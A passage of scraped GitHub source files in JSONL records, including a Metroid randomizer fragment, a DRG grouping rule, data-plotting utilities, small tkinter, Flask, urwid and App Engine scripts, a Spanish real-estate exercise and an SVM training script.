find_room_id(room_id):\n# for region in sm_json_data.region_json_dict.values():\n# for room in region['rooms']:\n# if room_id == room['id']:\n# return room['name']\n#\n#\n#\n# for i in range(len(sm_json_data.vertex_list)):\n# if target_mask[i]:\n# (room_id, node_id, obstacle_bitmask) = sm_json_data.vertex_list[i]\n# print(room_id, node_id, find_room_id(room_id))\n#\n#\n# vertex_mask = (np.min(reach, axis=1) >= 0)\n# # vertex_mask[sm_json_data.vertex_index_dict[(158, 1, 0)]]\n# vertex_mask[sm_json_data.vertex_index_dict[(185, 1, 0)]]\n\n# self = randomizer\n# # items = set()\n# # items = {\"Morph\", \"Gravity\"}\n# items = sm_json_data.item_set\n# game_state = GameState(\n# difficulty=difficulty_config,\n# items=items,\n# # flags=set(),\n# flags=sm_json_data.flags_set,\n# weapons=sm_json_data.get_weapons(set(items)),\n# num_energy_tanks=0, # energy_tanks,\n# num_reserves=0, # reserve_tanks,\n# max_energy=999, # + 100 * (energy_tanks + reserve_tanks),\n# max_missiles=10, # missiles,\n# max_super_missiles=10, # super_missiles,\n# max_power_bombs=10, # power_bombs,\n# current_energy=50,\n# current_missiles=0, # missiles,\n# current_super_missiles=0, # super_missiles,\n# current_power_bombs=0, # power_bombs,\n# vertex_index=sm_json_data.vertex_index_dict[(8, 5, 0)]) # Ship (Landing Site)\n#\n# logging.info(\"Start\")\n# out = sm_json_data.compute_reachable_vertices(game_state, randomizer.door_edges)\n# logging.info(\"End\")\n# nz_i, nz_j = (out[:, :1] != -1).nonzero()\n#\n# print(nz_i.shape)\n# for k in range(nz_i.shape[0]):\n# print(sm_json_data.vertex_list[nz_i[k]], out[nz_i[k], :])\n\n\n# # tech = set()\n# tech = sm_json_data.tech_name_set\n# difficulty = DifficultyConfig(tech=tech, shine_charge_tiles=33)\n#\n# randomizer = Randomizer(map, sm_json_data, difficulty)\n# for _ in range(1000):\n# randomizer.randomize()\n# print(len(randomizer.item_placement_list))\n# if len(randomizer.item_placement_list) >= 98:\n# print(\"Success\")\n# break\n# else:\n# raise RuntimeError(\"Failed\")\n#\n# state = GameState(\n# difficulty=difficulty,\n# items=sm_json_data.item_set,\n# flags=sm_json_data.flags_set,\n# node_index=sm_json_data.node_dict[(8, 5)], # Landing site ship\n# )\n# graph = randomizer.node_graph(state)\n# _, reached_indices = graph_tool.topology.shortest_distance(graph, source=state.node_index,\n# return_reached=True)\n# # reached_index_set = set(reached_indices)\n#\n# # print(len(reached_indices))\n# comp, hist = graph_tool.topology.label_components(graph)\n# comp_arr = comp.get_array()\n# # print(comp_arr)\n# print(len(hist), hist)\n# print(np.where(comp_arr == 1))\n# print(sm_json_data.node_list[499])\n","repo_name":"blkerby/MapRandomizer","sub_path":"python/rando/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":35381,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"1"}
+{"seq_id":"32270146605","text":"from drg_group.foshan_2022.Base import message,intersect,has_mcc,has_cc,SS_VALID\n\ndef group(record):\n adrg_zd=[\"G91.100x002\",\"G91.100\",\"I69.300x002\",\"I69.300x003\",\"I69.300\"]\n adrg_zd1=[]\n adrg_ss=[]\n adrg_ss1=[]\n adrg_ss2=[]\n if True and record.zdList[0] in adrg_zd:\n message('符合BZ15入组条件,匹配规则:主诊断匹配')\n return True","repo_name":"OpenDRG/DRG_Python","sub_path":"drg_group/foshan_2022/DRG_EX/BZ15.py","file_name":"BZ15.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"1"}
+{"seq_id":"3686962678","text":"\"\"\" Module for plot values eg: type, cdf, labl etc\"\"\"\nfrom __future__ import print_function\nimport logging\nimport numpy as np\nimport pandas as pd\nfrom scipy import stats\n\nfrom raven_preprocess.column_info import ColumnInfo\nimport raven_preprocess.col_info_constants as col_const\nlogger = logging.getLogger(__name__)\n\n\nclass PlotValuesUtil(object):\n \"\"\" Class to set up for plot values eg: type, cdf, labl etc\"\"\"\n def __init__(self, col_series, col_info):\n assert isinstance(col_series, pd.Series), \"col_series must be a pandas.Series object\"\n assert isinstance(col_info, ColumnInfo), \"col_info must be a ColumnInfo object\"\n\n self.plot_values = list()\n #logger.debug(\"plot values time\")\n #self.dataframe = dataframe\n self.col_info = col_info\n self.colname = self.col_info.colname\n self.col_series = col_series\n self.histlimit = 13\n self.output = {}\n self.cdfx = None\n self.cdfy = None\n\n self.cal_plot_values()\n self.col_info.tidy_plot_values()\n\n\n\n def ecdf(self, data):\n \"\"\"Compute ECDF for a one-dimensional array of measurements.\"\"\"\n # Number of data points: size\n raw_data = np.array(self.col_series)\n\n # x-data for the ECDF: x_\n x_value = np.sort(data)\n size_data = raw_data.size\n # y-data for the ECDF: y\n y_value = []\n\n for i in x_value:\n temp = raw_data[raw_data <= i]\n val = temp.size / size_data\n y_value.append(val)\n\n return y_value\n\n def cal_plot_values(self):\n \"\"\"Compute all plot values.\"\"\"\n\n nat = self.col_info.nature\n my_interval = self.col_info.interval\n self.col_series.dropna(inplace=True)\n if col_const.NATURE_NOMINAL != nat:\n #logger.debug(\"into not nominal %s\", self.colname)\n\n uniques = np.sort(self.col_series.unique())\n lu = len(uniques)\n\n if lu < self.histlimit:\n # logger.debug(\"into it %s\", self.colname)\n # code for plot values\n self.col_info.plot_type = col_const.PLOT_BAR\n\n for val, cnt in self.col_series.sort_values().value_counts().items():\n if type(val) is not str:\n try:\n self.output[str(val)] = cnt\n except TypeError:\n try:\n self.output[repr(val)] = cnt\n except TypeError:\n pass\n self.col_info.plot_values = self.output\n\n # code for cdf values\n self.cdfx = np.sort(uniques)\n self.col_info.cdf_plot_type = col_const.PLOT_BAR\n self.col_info.cdf_plotx = np.linspace(start=min(self.cdfx),\n stop=max(self.cdfx), num=len(self.cdfx))\n self.col_info.cdf_ploty = self.ecdf(self.col_info.cdf_plotx)\n\n else:\n # code for plot values\n self.col_info.plot_type = col_const.PLOT_CONTINUOUS\n # here the code for plotx and ploty comes using r density function\n if self.col_series is not None:\n kernel = stats.gaussian_kde(self.col_series)\n x = np.linspace(start=min(self.col_series) - kernel.factor,\n stop=max(self.col_series) + kernel.factor, num=50)\n self.col_info.plotx = x\n self.col_info.ploty = kernel(x)\n\n # code for cdf values\n self.col_info.cdf_plot_type = col_const.PLOT_CONTINUOUS\n if lu >= 50 or (lu < 50 and my_interval != col_const.INTERVAL_DISCRETE):\n self.col_info.cdf_plotx = np.linspace(start=min(self.col_series),\n stop=max(self.col_series), num=50)\n\n else:\n self.col_info.cdf_plotx = np.linspace(start=min(self.col_series),\n stop=max(self.col_series), num=lu)\n self.col_info.cdf_ploty = self.ecdf(self.col_info.cdf_plotx)\n\n else:\n \"\"\"Here data nature is not nominal\"\"\"\n #logger.debug(\"into it *******%s\", self.colname)\n # code for plot values\n self.col_info.plot_type = col_const.PLOT_BAR\n\n for val, cnt in self.col_series.sort_values().value_counts().items():\n if not isinstance(val, str):\n try:\n self.output[str(val)] = cnt\n except TypeError:\n try:\n self.output[repr(val)] = cnt\n except TypeError:\n pass\n del cnt\n else:\n self.output[str(val)] = cnt\n\n self.col_info.plot_values = self.output\n\n # code for cdf values\n self.col_info.cdf_plot_type = None\n self.col_info.cdf_plotx = None\n self.col_info.cdf_ploty = None\n\n # if metadataflag !=1\n self.col_info.labl = \"\"\n","repo_name":"TwoRavens/raven-metadata-service","sub_path":"preprocess/raven_preprocess/plot_values.py","file_name":"plot_values.py","file_ext":"py","file_size_in_byte":5276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"22401765943","text":"\"\"\"Test file to open a tkinter window that is scrollable.\"\"\"\nimport tkinter as tk\n\nroot = tk.Tk()\n\n# Create a Canvas widget with a vertical Scrollbar\ncanvas = tk.Canvas(root, height=200)\nscrollbar = tk.Scrollbar(root, orient=\"vertical\", command=canvas.yview)\ncanvas.configure(yscrollcommand=scrollbar.set)\nscrollbar.pack(side=\"right\", fill=\"y\")\ncanvas.pack(side=\"left\", fill=\"both\", expand=True)\n\n# Create a frame inside the canvas to hold the content\nframe = tk.Frame(canvas)\ncanvas.create_window((0, 0), window=frame, anchor=\"nw\")\n\n# Add content to the frame\nfor i in range(50):\n tk.Label(frame, text=f\"Label {i}\").pack()\n\n# Configure the canvas to fit the content and enable scrolling\nframe.update_idletasks() # Update the frame to get accurate width and height\ncanvas.config(scrollregion=canvas.bbox(\"all\"))\n\nroot.mainloop()\n","repo_name":"Nuddley/Warehouse-software","sub_path":"scroll_test.py","file_name":"scroll_test.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"71393119073","text":"#!usr/bin/env python\n# coding: utf-8\n\nimport pyglet\n\n\nclass WarnMedia(object):\n \"\"\"声音警报.\n\n https://github.com/AVbin/AVbin/downloads\n http://stackoverflow.com/questions/10302873/python-pyglet-avbin-how-to-install-avbin\n \"\"\"\n\n def __init__(self, file_path):\n \"\"\"先尝试相对路径, 再尝试绝对路径载入.\n \"\"\"\n\n try:\n self.music = pyglet.resource.media(file_path)\n except pyglet.resource.ResourceNotFoundException:\n self.music = pyglet.media.load(file_path)\n else:\n self.music = None\n\n def play(self):\n \"\"\"如有效可播放.\n \"\"\"\n\n if self.music:\n self.music.play()\n pyglet.app.run()\n","repo_name":"cash2one/discuzx-tools","sub_path":"libs/common/warning.py","file_name":"warning.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"1"}
+{"seq_id":"13277272585","text":"from flask import request, abort\n\n\ndef get_lng_lat():\n lng = request.form.get('lng')\n lat = request.form.get('lat')\n try:\n return float(lng), float(lat)\n except ValueError:\n abort(400, \"Missing field: lng or lat\")\n\n\ndef get_weather_answer(observation):\n if observation:\n weather = observation.get_weather()\n if weather:\n status = weather.get_status().lower().replace(\n 'clouds', 'cloudy').replace('rain', 'rainy').replace('sun', 'sunny')\n temperature = weather.get_temperature('celsius')\n temperature_min = int(temperature['temp_min'])\n temperature_max = int(temperature['temp_max'])\n if temperature_max - temperature_min > 2:\n temperature_s = \"{} to {} °C\".format(temperature_min, temperature_max)\n else:\n temperature_s = str(temperature_max)\n return \"It's currently {} at around {} °C.\".format(status, temperature_s)\n return None\n\n\ndef get_weather_at_coords(weather_client, lat, lng):\n return get_weather_answer(weather_client.weather_at_coords(lat, lng))\n\n\ndef get_weather_at_place(weather_client, place):\n return get_weather_answer(weather_client.weather_at_place(place))\n","repo_name":"MyHeidi/Heidi-web","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"70071941154","text":"from DataFactory import dbImageStore\nfrom google.appengine.ext import db\nfrom google.appengine.api import images\nfrom google.appengine.ext.webapp import blobstore_handlers\nimport Settings\nimport logging\n\nclass AddUpdateImageStore(blobstore_handlers.BlobstoreUploadHandler):\n def post(self):\n if self.request.get('imagestore_key'):\n image = dbImageStore.ImageStore.get(self.request.get('imagestore_key'))\n else:\n image = dbImageStore.ImageStore()\n \n image.name = self.request.get('image_name')\n \n upload_files = self.get_uploads('image_file')\n \n if upload_files:\n image.imageUrl = images.get_serving_url(str(upload_files[0].key()))\n \n imageKey = db.put(image)\n \n for language in Settings.languages:\n description = self.request.get('image_description_' + language)\n if description:\n logging.info(description)\n imageDescription = dbImageStore.ImageDescription.gql('WHERE imageEntry = :imageEntry AND lang = :lang', imageEntry = imageKey, lang = language).get()\n if imageDescription is None:\n imageDescription = dbImageStore.ImageDescription()\n imageDescription.imageEntry = imageKey\n imageDescription.lang = language\n \n imageDescription.description = description\n db.put(imageDescription)\n \n self.redirect('/edit/imageStore/?status=1&message=Image added/updated')\n \n\ndef DeleteImage(params):\n image = dbImageStore.ImageStore.get_by_id(int(params.get('image_id')))\n imageDescriptions = dbImageStore.ImageDescription.gql('WHERE imageEntry = :imageEntry', imageEntry = image.key()).fetch(10)\n \n db.delete(imageDescriptions)\n db.delete(image)\n \n return { 'status' : 1, 'message' : 'Image removed.' }","repo_name":"fredrikbonander/tungsten","sub_path":"ImageStore/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"1"}
+{"seq_id":"39214153055","text":"#Desafío 4: La inmobiliaria\n#Requisitos técnicos:\n#- Operadores.\n#- Estructuras de datos.\n#- Estructuras de control de flujo.\n#- Funciones\n# Integrantes: \n# Agustín, Leiva\n# Joaquín Meca\n# Nehemias Octavio Ocampo Mitoire\n# Lucía Morel\n# Marcelo Antonio, Murad\n# Luciano, Ertle\n# Alexis Matias, Calderon\n# Antonio, Flores\n# Lourdes Eliana, Baez\n# Nahuel, Sanchez\n# Ricardo Alexandro, Mena\n\nimport datetime\nhora_actual = datetime.datetime.now().hour\n\ndef agregar_inmueble(lista):\n nuevo_registro = {}\n \n while True:\n anno = int(input(\"Ingrese el año (no puede ser anterior al 2000): \"))\n if anno >= 2000:\n nuevo_registro['año'] = anno\n break\n else:\n print(\"No se opera con inmuebles anteriores al año 2000.\")\n \n while True:\n metros = int(input(\"Ingrese la superficie en metros (no puede ser menor a 60m²): \"))\n if metros >= 60:\n nuevo_registro['metros'] = metros\n break\n else:\n print(\"No se opera con inmuebles menores a 60m2.\")\n \n while True:\n habitaciones = int(input(\"Ingrese el número de habitaciones (no puede ser menor a 2): \"))\n if habitaciones >= 2:\n nuevo_registro['habitaciones'] = habitaciones\n break\n else:\n print(\"No se opera con inmuebles cuyo número de habitaciones sea menor a 2.\")\n \n garage = input(\"Ingrese si incluye garage (True o False): \")\n nuevo_registro['garaje'] = bool(garage)\n \n while True:\n zona = input(\"Ingrese la zona (A, B o C): \")\n if zona in ['A', 'B', 'C']:\n nuevo_registro['zona'] = zona\n break\n else:\n print(\"Solo se permite ingresar las zonas A, B o C.\")\n \n while True:\n estado = input(\"Ingrese el estado (Disponible, Reservado o Vendido): \")\n if estado in ['Disponible', 'Reservado', 'Vendido']:\n nuevo_registro['estado'] = estado\n break\n else:\n print(\"Solo se permite los siguientes estados: Disponible, Reservado o Vendido.\")\n \n lista.append(nuevo_registro)\n print(\"Se agregó el inmueble a la lista.\")\n\ndef editar_inmueble(lista, indice):\n if indice >= 0 and indice < len(lista):\n inmueble = lista[indice]\n print(\"Ingrese los nuevos datos del inmueble:\")\n agregar_inmueble(lista)\n lista[indice] = inmueble\n print(\"El inmueble se actualizó\")\n else:\n print(\"El índice no es válido.\")\n\ndef eliminar_inmueble(lista, indice):\n if indice >= 0 and indice < len(lista):\n del lista[indice]\n print(\"El inmueble se ha eliminado de la lista.\")\n else:\n print(\"El índice no es válido.\")\n\ndef cambiar_estado_inmueble(lista, indice, nuevo_estado):\n if indice >= 0 and indice < len(lista):\n lista[indice]['estado'] = nuevo_estado\n print(\"El estado del inmueble se actualizó.\")\n else:\n print(\"El índice no es válido.\")\n\ndef buscar_inmuebles_por_presupuesto(lista, presupuesto):\n inmuebles_encontrados = []\n for inmueble in lista:\n if (inmueble['estado'] == 'Disponible' or inmueble['estado'] == 'Reservado') and calcular_precio_inmueble(inmueble) <= presupuesto:\n inmueble_con_precio = inmueble.copy()\n inmueble_con_precio['precio'] = calcular_precio_inmueble(inmueble)\n inmuebles_encontrados.append(inmueble_con_precio)\n return inmuebles_encontrados\n\ndef calcular_precio_inmueble(inmueble):\n metros = inmueble['metros']\n habitaciones = inmueble['habitaciones']\n garaje = inmueble['garaje']\n antiguedad = 2023 - inmueble['año']\n zona = inmueble['zona']\n\n if zona == 'A':\n precio = (metros * 100 + habitaciones * 500 + garaje * 1500) * (1 - antiguedad / 100)\n elif zona == 'B':\n precio = (metros * 100 + habitaciones * 500 + garaje * 1500) * (1 - antiguedad / 100) * 1.5\n elif zona == 'C':\n precio = (metros * 100 + habitaciones * 500 + garaje * 1500) * (1 - antiguedad / 100) * 2\n \n return precio\n\n# ESTRUCTURA PRINCIPAL DEL PROGRAMA\n\ninmobiliaria = [\n {'año': 2010, 'metros': 150, 'habitaciones': 4, 'garaje': True, 'zona': 'C', 'estado': 'Disponible'},\n {'año': 2016, 'metros': 80, 'habitaciones': 2, 'garaje': False, 'zona': 'B', 'estado': 'Reservado'},\n {'año': 2000, 'metros': 180, 'habitaciones': 4, 'garaje': True, 'zona': 'A', 'estado': 'Disponible'},\n {'año': 2015, 'metros': 95, 'habitaciones': 3, 'garaje': True, 'zona': 'B', 'estado': 'Vendido'},\n {'año': 2008, 'metros': 60, 'habitaciones': 2, 'garaje': False, 'zona': 'C', 'estado': 'Disponible'}\n]\n\nsalir = False\n\nwhile not salir:\n print(\"MENÚ PRINCIPAL DEL PROGRAMA\")\n print(\"1. Agregar, editar y eliminar inmuebles a la lista\")\n print(\"2. Cambiar el estado de un inmueble\")\n print(\"3. Hacer búsqueda de inmuebles en función de un presupuesto\")\n print(\"4. Salir\")\n opcion = input(\"Elige una opción: \")\n print()\n \n if opcion == '1':\n print(\"SUBMENÚ AGREGAR/EDITAR/ELIMINAR INMUEBLE\")\n print(\"¿Qué desea hacer?\")\n print(\"1. Agregar un inmueble a la lista\")\n print(\"2. Editar un inmueble existente en la lista\")\n print(\"3. Eliminar un inmueble de la lista\")\n print(\"4. Volver al Menú principal\")\n print()\n subopcion = input(\"Elige una opción: \")\n print()\n \n if subopcion == '1':\n agregar_inmueble(inmobiliaria)\n elif subopcion == '2':\n indice = int(input(\"Ingrese el índice del inmueble a editar: \"))\n editar_inmueble(inmobiliaria, indice)\n elif subopcion == '3':\n indice = int(input(\"Ingrese el índice del inmueble a eliminar: \"))\n eliminar_inmueble(inmobiliaria, indice)\n elif subopcion == '4':\n salir\n else:\n print(\"Opción inválida\")\n \n elif opcion == '2':\n print(\"CAMBIAR ESTADO DE UN INMUEBLE\")\n print(\"Lista de inmuebles:\")\n for i, inmueble in enumerate(inmobiliaria):\n print(f\"Índice: {i}, Inmueble: {inmueble}\")\n indice = int(input(\"Ingrese el índice del inmueble a modificar: \"))\n nuevo_estado = input(\"Ingrese el nuevo estado del inmueble: \")\n cambiar_estado_inmueble(inmobiliaria, indice, nuevo_estado)\n for i, inmueble in enumerate(inmobiliaria):\n print(f\"Índice: {i}, Inmueble: {inmueble}\")\n \n elif opcion == '3':\n presupuesto = float(input(\"Ingrese su presupuesto: \"))\n inmuebles_encontrados = buscar_inmuebles_por_presupuesto(inmobiliaria, presupuesto)\n if inmuebles_encontrados:\n print(\"Inmuebles encontrados:\")\n for inmueble in inmuebles_encontrados:\n print(inmueble)\n else:\n print(\"No se encontraron inmuebles para el rpesupuesto ingresado\")\n \n elif opcion == '4':\n salir = True\n \n else:\n print(\"Opción inválida\")\n \n print()\n\n\nif 6 <= hora_actual < 12:\n print(\"Gracias por usar nuestros servicios, Que tenga buenos días\")\nelif 12 <= hora_actual < 19:\n print(\"Gracias por usar nuestros servicios, Que tenga buenas tardes\")\nelse:\n print(\"Gracias por usar nuestros servicios, Que tenga buenas noches\")","repo_name":"JohnS1991/desafio_4","sub_path":"d4_g7.py","file_name":"d4_g7.py","file_ext":"py","file_size_in_byte":7443,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"15139667182","text":"#Faça um programa que mostre a tabuada de vários números, um de cada vez, para cada valor digitado pelo usuário.\n#O programa será interrompido quando o numero solicitado for negativo.\nvalor = 0\nmultiplicador = 1\nwhile True:\n valor = int(input('Insira um número para exibir sua tabuada: '))\n if 0 > valor:\n print('Encerrado...')\n break\n while multiplicador <= 10:\n print(f'{valor} X {multiplicador} = {valor * multiplicador}')\n multiplicador += 1\n multiplicador = 1\n\n","repo_name":"Guilima06/python_course","sub_path":"exercicios/aula015/ex067.py","file_name":"ex067.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"44302809822","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 7 14:22:00 2017\n\n@author: mtr\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport xml.etree.ElementTree as ET\n\ntree = ET.parse('/home/mtr/Scripts/NOCOVER.GPX')\nroot = tree.getroot()\n\nlatlong = []\ntime = []\ndepth = []\n\nfor j in range(2,len(root[1])):\n for i in range(len(root[1][j])):\n latlong.append(root[1][j][i].attrib)\n time.append(root[1][j][i][0].text)\n try:\n depth.append(root[1][j][i][1][0][1].text)\n except:\n depth.append(np.nan)\n \ndf = pd.DataFrame(latlong, dtype=float)\ndf['time'] = pd.to_datetime(time)\ndf['depth'] = pd.Series(depth)\ndf.set_index('time')\n\ndf2 = df\n\nplt.plot(df.lon,df.lat,'.')","repo_name":"passaloutre/kitchensink","sub_path":"python/gpxread.py","file_name":"gpxread.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"37697361665","text":"import urwid\nimport os\nimport sys\nimport subprocess\n\ndef main():\n text_header = (u\"Amazon Product Review Summarization & Analysis - F8 exits.\")\n text_intro = [ u\"Hi! This tool will helps customer summarize and analyze reviews from Amazon product page,\"\n u\"including review text summarization, sentiment analysis, key feature extraction. Finally, it will generate a markdown format report.\",\n ('important', u\"\\nHow to use\"),\n ('important', u\"\\nInput: \"),\n u\"Amazon product url copied from browser.\",\n ('important', u\"\\nOutput: \"),\n u\"A markdown format report under path: /output/product_asin (Asin is the id of an amazon product)\"]\n input_box_intro = u\"Input / Paste Amazon Product URL:\"\n\n text_edit_alignments = input_box_intro\n text_edit_left = u\"\"\n blank = urwid.Divider()\n\n def button_press(button):\n cur_text = text_edit_left\n frame.footer = urwid.Text(cur_text)\n\n input_box = urwid.Edit(\"\", text_edit_left, align='left')\n\n listbox_content = [\n blank,\n urwid.Padding(urwid.Text(text_intro), left=2, right=2, min_width=20),\n urwid.Text(text_edit_alignments),\n urwid.AttrWrap(input_box,'editbx', 'editfc'),\n ]\n header = urwid.AttrWrap(urwid.Text(text_header, align='center'), 'header')\n listbox = urwid.ListBox(urwid.SimpleListWalker(listbox_content))\n\n palette = [\n ('body','black','light gray', 'standout'),\n ('reverse','light gray','black'),\n ('header','white','dark red', 'bold'),\n ('important','dark blue','light gray',('standout','underline')),\n ('editfc','white', 'dark blue', 'bold'),\n ('editbx','light gray', 'dark blue'),\n ('editcp','black','light gray', 'standout'),\n ('bright','dark gray','light gray', ('bold','standout')),\n ('buttn','black','dark cyan'),\n ('buttnf','white','dark blue','bold'),\n ]\n\n output_widget = urwid.Text(\"Current Status:\\n\" )\n\n frame = urwid.Frame(body = urwid.AttrWrap(listbox, 'body'), header=header,\n footer=output_widget)\n\n screen = urwid.raw_display.Screen()\n\n def received_output(data):\n output_widget.set_text(output_widget.text + data.decode('utf8'))\n\n proc = None\n def unhandled(key):\n if key == 'f8':\n raise urwid.ExitMainLoop()\n\n elif key == 'enter':\n url = input_box.get_edit_text()\n global proc\n proc = subprocess.Popen(['python', '-u', run_me, url], stdout=write_fd, close_fds=True)\n\n loop = urwid.MainLoop(frame, palette, screen, unhandled_input=unhandled)\n run_me = os.path.join(os.path.dirname(sys.argv[0]), 'Main.py')\n write_fd = loop.watch_pipe(received_output)\n loop.run()\n proc.kill()\nif __name__ == '__main__':\n main()","repo_name":"wgyang36/410_team_project","sub_path":"GUI_410.py","file_name":"GUI_410.py","file_ext":"py","file_size_in_byte":2953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"12341058516","text":"from sklearn import svm\nimport numpy as np\nfrom sklearn.metrics import accuracy_score,roc_auc_score,precision_score,recall_score,f1_score,classification_report\nfrom sklearn.model_selection import train_test_split,GridSearchCV\nfrom joblib import dump, load\nimport shutil\nimport os\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport time\nimport pandas as pd\nimport random\nfrom prettytable import PrettyTable\nfrom prediction_models.result_analysis import get_proba_metric,get_proba_error\nfrom collections import Counter\nnp.random.seed(1) # for reproducibility\n\n\ndef getRandomIndex(num,ran):\n list = random.sample(range(0,ran),num)\n return list\n\n\n# 获取模型训练和验证的数据\n# split_balanced_data_dir: 经过过采样处理得到的汇总文件\n# period_length: 120或30\n# overlap_ratio: 0.0或0.5,当user_type为loyaler时,获取数据时同一开发者不同区间的重叠度\n# period_length和overlap_ratio共同用于确定使用的数据文件\n# data_type_count:特征数量,默认12种特征\ndef getModelData(split_balanced_data_dir,period_length=120,overlap_ratio=0.0,data_type_count=12):\n if period_length == 120:\n col_count = 12*data_type_count\n elif period_length == 90:\n col_count = 9 * data_type_count\n elif period_length == 60:\n col_count = 6 * data_type_count\n elif period_length == 30:\n col_count = 6*data_type_count\n else:\n print('period length error!')\n return\n\n data_filename_1 = split_balanced_data_dir + '/balanced_data_train-' + str(period_length) + '-' + str(\n overlap_ratio) + '.csv'\n data_filename_2 = split_balanced_data_dir + '/balanced_data_test-' + str(period_length) + '-' + str(\n overlap_ratio) + '.csv'\n\n train_df = pd.read_csv(data_filename_1).iloc[:,1:col_count+2]\n train_array = np.array(train_df)\n np.random.shuffle(train_array)\n\n test_df = pd.read_csv(data_filename_2).iloc[:,1:col_count+2]\n test_array = np.array(test_df)\n np.random.shuffle(test_array)\n\n train_data,train_label = np.split(train_array,indices_or_sections=(-1,), axis=1)\n test_data,test_label = np.split(test_array,indices_or_sections=(-1,), axis=1)\n\n '''data_frame = pd.read_csv(data_filename).iloc[:,1:col_count+2]\n data_array = np.array(data_frame)\n np.random.shuffle(data_array) # 打乱正负样本\n\n X, y = np.split(data_array, indices_or_sections=(-1,), axis=1)\n train_data, test_data, train_label, test_label = train_test_split(X, y, random_state=42, train_size=0.8,\n test_size=0.2)'''\n # 标签数组降维\n train_label = np.array([x[0] for x in train_label], dtype=int)\n test_label = np.array([x[0] for x in test_label], dtype=int)\n\n # print(train_data.shape,test_data.shape,Counter(train_label),Counter(test_label))\n return train_data,test_data,train_label,test_label\n\n\n# SVM模型训练\n# imp_metric:根据哪个指标来选取对预测结果(概率)进行二分类的最优阈值,可选参数包含:accuracy,roc_auc,precision,recall,f1_score\ndef trainSVM(split_balanced_data_dir,period_length=120,overlap_ratio=0.0,data_type_count=12,\n kernel='rbf',C=1.0,gamma='auto',degree=3,\n save_dir='svm_models',if_save=True,imp_metric='roc_auc'):\n train_data,test_data,train_label,test_label = getModelData(split_balanced_data_dir,period_length,overlap_ratio,\n data_type_count)\n if kernel == 'rbf' or kernel == 'RBF':\n classifier = svm.SVC(kernel='rbf', C=C, gamma=gamma,probability=True)\n elif kernel == 'poly':\n classifier = svm.SVC(kernel='poly', C=C, degree=degree,probability=True)\n else:\n classifier = svm.SVC(kernel='linear', C=C,probability=True)\n\n classifier.fit(train_data, train_label)\n\n train_pred_proba = classifier.predict_proba(train_data)\n train_pred_proba = np.array([x[1] for x in train_pred_proba])\n test_pred_proba = classifier.predict_proba(test_data)\n test_pred_proba = np.array([x[1] for x in test_pred_proba])\n\n print('\\n训练集误差结果:\\n')\n get_proba_error(train_label, train_pred_proba, ['MSE', 'RMSE', 'MAE', 'SMAPE', 'R2'])\n print('\\n测试集误差结果:\\n')\n get_proba_error(test_label, test_pred_proba, ['MSE', 'RMSE', 'MAE', 'SMAPE', 'R2'])\n\n print('\\n训练集不同指标结果:\\n')\n get_proba_metric(train_label, train_pred_proba, imp_metric=imp_metric)\n print('\\n测试集不同指标结果:\\n')\n get_proba_metric(test_label, test_pred_proba, imp_metric=imp_metric)\n\n if if_save:\n shutil.rmtree(save_dir)\n os.mkdir(save_dir)\n model_filename = time.strftime('%Y-%m-%d_%H-%M-%S', time.localtime()) + 'svm_model.joblib'\n dump(classifier, save_dir + '/' + model_filename)\n\n\n# GridSearch调参\n# https://blog.csdn.net/aliceyangxi1987/article/details/73769950\n# imp_metric:根据哪个指标来选取对预测结果(概率)进行二分类的最优阈值,可选参数包含:accuracy,roc_auc,precision,recall,f1_score\ndef gridSearchForSVM(split_balanced_data_dir,period_length=120,overlap_ratio=0.0,data_type_count=12,\n scoring='roc_auc',work_dir='.',save_dir='svm_models',if_save=True,imp_metric='roc_auc'):\n train_data, test_data, train_label, test_label = getModelData(split_balanced_data_dir, period_length, overlap_ratio,\n data_type_count)\n tuned_parameters = [{'kernel': ['rbf'], 'gamma': [1e-4, 1e-3, 0.01, 0.1, 1, 5, 10],\n 'C': [0.1, 1, 10, 50, 100, 300, 500]},\n {'kernel': ['linear'], 'C': [0.1, 1, 10, 50, 100, 300, 500]},\n {'kernel': ['poly'], 'C': [0.1,1,10,50,100], 'degree': [2, 3, 4]}]\n scores = [scoring]\n best_params_dict = dict()\n for score in scores:\n print(\"# Tuning hyper-parameters for %s\" % score)\n print()\n\n # 调用 GridSearchCV,将 SVC(), tuned_parameters, cv=5, 还有 scoring 传递进去,\n clf = GridSearchCV(svm.SVC(probability=True), tuned_parameters, return_train_score=True,\n scoring=score,verbose=2, refit=True, cv=5, n_jobs=-1)\n # 用训练集训练这个学习器 clf\n clf.fit(train_data, train_label)\n\n print(\"Best parameters set found on development set:\")\n print()\n\n # 再调用 clf.best_params_ 就能直接得到最好的参数搭配结果\n print(clf.best_params_)\n best_params_dict[score]=clf.best_params_\n\n print()\n print(\"Grid scores on development set:\")\n print()\n means = clf.cv_results_['mean_test_score']\n stds = clf.cv_results_['std_test_score']\n\n # 看一下具体的参数间不同数值的组合后得到的分数是多少\n for mean, std, params in zip(means, stds, clf.cv_results_['params']):\n 